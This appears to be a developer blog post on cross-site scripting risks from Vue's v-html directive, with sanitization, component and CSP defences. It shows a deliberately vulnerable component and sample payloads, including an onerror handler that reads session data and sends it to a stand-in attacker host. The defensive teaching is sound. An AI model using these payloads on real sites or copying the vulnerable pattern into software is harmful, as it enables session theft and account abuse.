v-html is one of those Vue features that feels convenient right up until it becomes a security incident.
If you render untrusted HTML with v-html, you are bypassing Vue’s normal escaping protections and handing the browser raw markup. That means any unsafe HTML that survives into that string can execute script, steal session data, or manipulate the page in ways you did not expect.
For a developer audience, the rule is simple:
v-html is safe only when the HTML is fully trusted or properly sanitized first.
That sounds obvious, but teams still get this wrong because they mix “trusted source” with “trusted content.” A blog post from your database is not trusted if users can edit it. A CMS field is not trusted if admins can paste arbitrary embed code. A markdown pipeline is not trusted if the output is not sanitized.
Why v-html is dangerous
Vue normally protects you by escaping interpolated content:
<template>
<div>{{ userBio }}</div>
</template>
If userBio contains this:
<img src=x onerror=alert(1)>
Vue renders it as text, not active HTML.
Now compare that with v-html:
<template>
<div v-html="userBio"></div>
</template>
That same payload becomes real DOM. If the browser accepts it, you now have XSS.
A lot of people assume <script> tags are the main problem. They are not. Modern XSS payloads usually abuse attributes and browser behaviors:
onerroronclickonloadjavascript:URLs- malicious SVG content
- dangerous iframe/embed/object markup
This means “I filtered out <script>” is not a defense. It never was.
A vulnerable Vue example
Here’s a realistic component. A user writes a profile description with “rich text,” and the frontend renders it with v-html.
<template>
<section class="profile">
<h1>{{ profile.name }}</h1>
<div class="bio" v-html="profile.bio"></div>
</section>
</template>
<script setup>
import { ref, onMounted } from 'vue'
const profile = ref({
name: '',
bio: ''
})
onMounted(async () => {
const res = await fetch('/api/profile/42')
profile.value = await res.json()
})
</script>
If the API returns:
{
"name": "Eve",
"bio": "<p>Hello!</p><img src=x onerror=\"fetch('/api/session').then(r=>r.text()).then(x=>location='https://attacker.test/?d='+encodeURIComponent(x))\">"
}
you’ve got a problem.
Even if cookies are HttpOnly, XSS still hurts. Attackers can:
- perform actions as the logged-in user
- read page data and CSRF tokens
- keylog form inputs
- rewrite UI for phishing
- exfiltrate API responses the page can access
The safest fix: don’t use v-html
A lot of v-html usage is unnecessary. If you just need formatting, use plain text plus CSS, or render structured data instead of raw HTML.
Bad:
<div v-html="comment.body"></div>
Better if you only need text:
<div class="comment-text">{{ comment.body }}</div>
If you need line breaks:
<template>
<p class="comment-text preserve-lines">{{ comment.body }}</p>
</template>
<style>
.preserve-lines {
white-space: pre-line;
}
</style>
If you need a limited set of formatting options, I strongly prefer storing structured content and rendering it through components.
For example, instead of storing arbitrary HTML:
[
{ "type": "paragraph", "text": "Hello world" },
{ "type": "link", "text": "Docs", "href": "/docs" }
]
Then render safely:
<template>
<div>
<template v-for="(node, index) in content" :key="index">
<p v-if="node.type === 'paragraph'">{{ node.text }}</p>
<a v-else-if="node.type === 'link'" :href="node.href">{{ node.text }}</a>
</template>
</div>
</template>
<script setup>
defineProps({
content: {
type: Array,
required: true
}
})
</script>
This approach is less flashy than raw HTML, but it is much easier to secure.
If you must use v-html, sanitize first
Sometimes you really do need rich HTML. Maybe you have a CMS, documentation system, or trusted editorial workflow. In that case, sanitize the HTML before it reaches v-html.
The core idea: allow only a safe subset of tags and attributes, and strip everything else.
Here’s a Vue pattern using a sanitizer library:
<template>
<article v-html="safeHtml"></article>
</template>
<script setup>
import { computed } from 'vue'
import DOMPurify from 'dompurify'
const props = defineProps({
rawHtml: {
type: String,
required: true
}
})
const safeHtml = computed(() => {
return DOMPurify.sanitize(props.rawHtml, {
ALLOWED_TAGS: [
'p', 'br', 'strong', 'em', 'ul', 'ol', 'li',
'blockquote', 'code', 'pre', 'a'
],
ALLOWED_ATTR: ['href', 'title', 'target', 'rel']
})
})
</script>
That’s the baseline.
I also like to lock down links so editors can’t accidentally create tabnabbing or weird protocol issues:
<script setup>
import { computed } from 'vue'
import DOMPurify from 'dompurify'
const props = defineProps({
rawHtml: String
})
const safeHtml = computed(() => {
return DOMPurify.sanitize(props.rawHtml, {
ALLOWED_TAGS: [
'p', 'br', 'strong', 'em', 'ul', 'ol', 'li',
'blockquote', 'code', 'pre', 'a'
],
ALLOWED_ATTR: ['href', 'title', 'target', 'rel'],
FORBID_TAGS: ['style', 'iframe', 'object', 'embed', 'svg', 'math']
})
})
</script>
A few practical opinions here:
- Sanitize on the server too. Client-side sanitization is nice for defense in depth, but if malicious HTML is stored unsanitized, it can leak into other consumers later.
- Do not write your own sanitizer. Regex-based HTML filtering is a security bug generator.
- Keep the allowlist small. Every extra tag or attribute increases your attack surface.
A reusable SafeHtml component
I’ve had good results creating one component for this and banning direct v-html usage elsewhere in code review.
<template>
<component :is="tag" v-html="sanitized"></component>
</template>
<script setup>
import { computed } from 'vue'
import DOMPurify from 'dompurify'
const props = defineProps({
html: {
type: String,
required: true
},
tag: {
type: String,
default: 'div'
}
})
const sanitized = computed(() => {
return DOMPurify.sanitize(props.html, {
ALLOWED_TAGS: [
'p', 'br', 'strong', 'em', 'u',
'ul', 'ol', 'li', 'blockquote',
'code', 'pre', 'a'
],
ALLOWED_ATTR: ['href', 'title', 'rel'],
ALLOW_DATA_ATTR: false
})
})
</script>
Usage:
<template>
<SafeHtml :html="post.body" tag="section" />
</template>
<script setup>
import SafeHtml from './SafeHtml.vue'
</script>
That gives your team one choke point for policy changes.
Server-side sanitization example
If your backend stores or serves HTML, sanitize there as well. Here’s a simple Node example:
import express from 'express'
import createDOMPurify from 'dompurify'
import { JSDOM } from 'jsdom'
const app = express()
app.use(express.json())
const window = new JSDOM('').window
const DOMPurify = createDOMPurify(window)
app.post('/api/posts', (req, res) => {
const dirtyHtml = req.body.body
const cleanHtml = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'rel']
})
// save cleanHtml to database
res.json({ body: cleanHtml })
})
If you sanitize on write, you reduce the chance of unsafe HTML spreading through multiple frontends, emails, admin tools, and export jobs.
CSP is backup, not a primary fix
Content Security Policy helps limit damage when XSS happens, but it does not make unsafe v-html acceptable.
A decent CSP can block inline scripts and restrict where scripts load from. That cuts off a lot of common payloads. Still, event-handler-based and markup-based abuse can remain dangerous depending on your policy and app behavior.
For Vue apps, use CSP as a second layer:
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
If you need implementation details, the CSP reference at https://csp-guide.com is useful, and Vue’s official documentation is the place to verify framework-specific behavior.
Common mistakes I keep seeing
1. Trusting markdown output blindly
People sanitize markdown input, convert it to HTML, then inject plugins that reintroduce unsafe HTML. Or they allow raw HTML inside markdown. That pipeline gets messy fast.
If markdown is user-controlled, sanitize the final HTML output before v-html.
2. Sanitizing only on input
Stored content may have been created before your sanitizer existed, imported from another system, or modified through admin tooling. Sanitizing on render or API output gives you another safety net.
3. Allowing too many tags
iframe, svg, style, form, input, object, and embed are all tags I’d treat with suspicion by default. Most applications do not need them.
4. Assuming internal users are safe
Internal panels get popped too. An XSS in an admin dashboard is often worse than one in a public comment section.
A simple team policy that works
If I were setting policy for a Vue codebase, I’d keep it blunt:
- No direct
v-htmlwith untrusted data. - Prefer text rendering or structured content.
- If HTML is required, use a shared
SafeHtmlcomponent. - Sanitize on the server before storing or serving.
- Deploy a CSP as damage control.
- Review any change that expands allowed tags or attributes.
That keeps the dangerous path narrow and obvious.
Vue’s escaping defaults are good. v-html is the escape hatch. Treat it like one.